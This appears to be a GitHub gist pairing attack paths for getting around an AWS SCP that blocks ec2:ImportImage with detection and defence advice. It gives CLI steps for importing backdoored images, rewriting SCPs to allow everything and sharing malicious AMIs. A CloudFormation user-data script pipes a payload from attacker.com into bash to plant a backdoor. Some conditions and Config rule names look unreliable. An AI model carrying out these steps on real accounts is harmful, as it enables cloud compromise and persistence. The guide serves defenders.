Skip to content

Instantly share code, notes, and snippets.

@RajChowdhury240
Last active February 3, 2026 16:07
Show Gist options
  • Select an option

  • Save RajChowdhury240/f2529ad9c0cc4764c11e27791ab31c09 to your computer and use it in GitHub Desktop.

Select an option

Save RajChowdhury240/f2529ad9c0cc4764c11e27791ab31c09 to your computer and use it in GitHub Desktop.

Bypassing ec2:ImportImage Restrictions

Attack & Defense Guide

Understanding the Limitation

Service Control Policies (SCPs) are hard boundaries.

If an SCP explicitly denies ec2:ImportImage, the action cannot be performed by any principal — including root.

There is no direct bypass.

However, attackers can pivot to alternative methods to achieve the same outcome: importing custom machine images.


Attack Path 1: ImportSnapshot + RegisterImage

If ec2:ImportImage is blocked but ec2:ImportSnapshot is allowed:

Step 1: Create Container Configuration

{
  "Description": "Legitimate OS Update",
  "Format": "VMDK",
  "UserBucket": {
    "S3Bucket": "corporate-images",
    "S3Key": "backdoor-vm.vmdk"
  }
}

Step 2: Import Snapshot

SNAPSHOT_ID=$(aws ec2 import-snapshot \
  --disk-container file://container.json \
  --description "Security Patch" \
  --query 'ImportTaskId' --output text)

# Monitor import status
aws ec2 describe-import-snapshot-tasks \
  --import-task-ids $SNAPSHOT_ID

Step 3: Register as AMI

# Once snapshot completes, register as image
aws ec2 register-image \
  --name "Production-v2024-secure" \
  --architecture x86_64 \
  --root-device-name /dev/xvda \
  --virtualization-type hvm \
  --block-device-mappings '[{"DeviceName":"/dev/xvda","Ebs":{"SnapshotId":"snap-12345","VolumeSize":20}}]' \
  --description "Hardened production image"

Impact

  • Same outcome as ImportImage
  • Bypasses the SCP restriction
  • Malicious AMI now available in account

Attack Path 2: VM Import/Export API

If AWS Import/Export restrictions don't cover VM Import:

Container Configuration

{
  "Description": "Legacy App Migration",
  "Format": "ova",
  "Url": "s3://corporate-bucket/backdoor-vm.ova"
}

Execute Import

aws ec2 import-image \
  --architecture x86_64 \
  --platform Linux \
  --description "Legacy Migration" \
  --license-type BYOL \
  --disk-containers file://container.json \
  --tag-specifications 'ResourceType=image,Tags=[{Key=Environment,Value=Production}]'

Result

  • Creates AMI directly from VM image
  • Bypasses snapshot-based restrictions

Attack Path 3: Privilege Escalation via SCP Management

If you can modify SCPs or assume privileged roles:

Enumeration

# List all SCPs
aws organizations list-policies \
  --filter SERVICE_CONTROL_POLICY

# Find attached targets
aws organizations list-targets-for-policy \
  --policy-id <scp-policy-id>

Detach Restrictive SCP

aws organizations detach-policy \
  --policy-id p-123456789 \
  --target-id ou-1234-5678

Modify SCP to Remove Restriction

# Create permissive version of SCP
cat > permissive-scp.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowAll",
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
EOF

aws organizations update-policy \
  --policy-id p-123456789 \
  --content file://permissive-scp.json

Required Permissions

  • organizations:DetachPolicy
  • organizations:UpdatePolicy
  • organizations:AttachPolicy
  • iam:CreatePolicy (to create new SCP)

Attack Path 4: Cross-Account AMI Sharing

If SCP blocks creation but not consumption:

From External Account (No SCP Restriction)

# Share malicious AMI with target account
aws ec2 modify-image-attribute \
  --image-id ami-0malicious123 \
  --launch-permission "Add=[{UserId=123456789012}]"

# Make it public (if allowed)
aws ec2 modify-image-attribute \
  --image-id ami-0malicious123 \
  --launch-permission "Add=[{Group=all}]"

In Target Account

# Copy shared AMI to target account
aws ec2 copy-image \
  --name "Imported-Legitimate-Tool" \
  --source-image-id ami-0malicious123 \
  --source-region us-east-1 \
  --region us-east-1

# Launch instance from copied AMI
aws ec2 run-instances \
  --image-id ami-<copied-id> \
  --instance-type t3.medium \
  --count 1

Why This Works

  • SCPs only apply within the organization/account
  • Shared AMIs bypass creation restrictions
  • Copying doesn't trigger ImportImage action

Attack Path 5: SSM/CloudFormation Stack Injection

If image creation is blocked but infrastructure provisioning isn't:

CloudFormation Template

AWSTemplateFormatVersion: '2010-09-09'
Resources:
  MaliciousInstance:
    Type: AWS::EC2::Instance
    Properties:
      ImageId: ami-0legitimatebase
      InstanceType: t3.medium
      UserData:
        Fn::Base64: |
          #!/bin/bash
          # Download and install backdoor
          curl -s http://attacker.com/backdoor.sh | bash
          # Persist in AMI
          aws ec2 create-image \
            --instance-id $(curl -s http://169.254.169.254/latest/meta-data/instance-id) \
            --name "Compromised-Base-Image-v2"

Deployment

aws cloudformation create-stack \
  --stack-name "security-update" \
  --template-body file://backdoor-stack.yaml

Detection & Monitoring

CloudTrail Events to Alert On

Snapshot Imports

{
  "eventName": ["ImportSnapshot", "CreateSnapshot"],
  "eventSource": "ec2.amazonaws.com",
  "errorCode": null
}

AMI Registration

{
  "eventName": ["RegisterImage", "CreateImage"],
  "eventSource": "ec2.amazonaws.com",
  "requestParameters": {
    "description": ["*backdoor*", "*test*", "*temp*"]
  }
}

SCP Changes

{
  "eventName": ["DetachPolicy", "UpdatePolicy", "AttachPolicy"],
  "eventSource": "organizations.amazonaws.com",
  "requestParameters": {
    "policyId": "p-*"
  }
}

CloudWatch Alarms

# Alert on snapshot imports
aws logs put-metric-filter \
  --log-group-name CloudTrailLogs \
  --filter-name SnapshotImportAlert \
  --filter-pattern '{ ($.eventName = "ImportSnapshot") || ($.eventName = "RegisterImage") }' \
  --metric-transformations metricName=SnapshotImport,metricNamespace=Security,metricValue=1

# Alert on SCP modifications
aws logs put-metric-filter \
  --log-group-name CloudTrailLogs \
  --filter-name SCPModificationAlert \
  --filter-pattern '{ ($.eventSource = "organizations.amazonaws.com") && ($.eventName = "UpdatePolicy" || $.eventName = "DetachPolicy") }' \
  --metric-transformations metricName=SCPChange,metricNamespace=Security,metricValue=1

Comprehensive Defense

Recommended SCP (Complete Block)

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyCustomImageCreation",
      "Effect": "Deny",
      "Action": [
        "ec2:ImportImage",
        "ec2:ImportSnapshot",
        "ec2:RegisterImage",
        "ec2:CreateImage",
        "ec2:DeregisterImage",
        "ec2:ModifyImageAttribute",
        "ec2:ResetImageAttribute",
        "ec2:EnableImageDeprecation",
        "ec2:DisableImageDeprecation"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalTag/AMIAdmin": "true"
        }
      }
    }
  ]
}

Additional IAM Restrictions

Block Public AMI Sharing

{
  "Effect": "Deny",
  "Action": "ec2:ModifyImageAttribute",
  "Resource": "*",
  "Condition": {
    "ForAnyValue:StringEquals": {
      "ec2:Attribute": "launchPermission"
    },
    "ForAnyValue:StringEquals": {
      "ec2:LaunchPermission": "*"
    }
  }
}

Require VPC Endpoint for EC2 Actions

{
  "Effect": "Deny",
  "Action": "ec2:*",
  "Resource": "*",
  "Condition": {
    "Null": {
      "aws:VpcSourceIp": "true"
    }
  }
}

Detective Controls

  1. AWS Config Rules

    • ec2-ami-no-public-access — Detects public AMIs
    • ec2-ami-approved-only — Ensures only approved AMIs used
    • ec2-snapshot-public-access — Detects public snapshots
  2. GuardDuty

    • Enable EC2 finding types
    • Monitor for unusual API patterns
  3. Custom Lambda Auditor

import boto3
import json

def lambda_handler(event, context):
    ec2 = boto3.client('ec2')
    
    # List all AMIs in account
    images = ec2.describe_images(Owners=['self'])['Images']
    
    # Flag suspicious patterns
    for image in images:
        if 'backdoor' in image.get('Description', '').lower():
            print(f"ALERT: Suspicious AMI found: {image['ImageId']}")
            # Trigger notification/quarantine

Summary

Attack Path Bypass Method Detection Strategy
ImportSnapshot + RegisterImage Alternative API Monitor ImportSnapshot events
VM Import API Different endpoint Alert on import-image from CloudTrail
SCP Privilege Escalation Modify/Detach SCP Real-time alerts on SCP changes
Cross-Account Sharing External AMI source AWS Config ec2-ami-no-public-access
Runtime Image Creation CreateImage from instance Monitor CreateImage from non-approved instances

Key Takeaway: SCPs provide strong boundaries but must be comprehensive. Always combine with detective controls and monitor for alternative paths.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment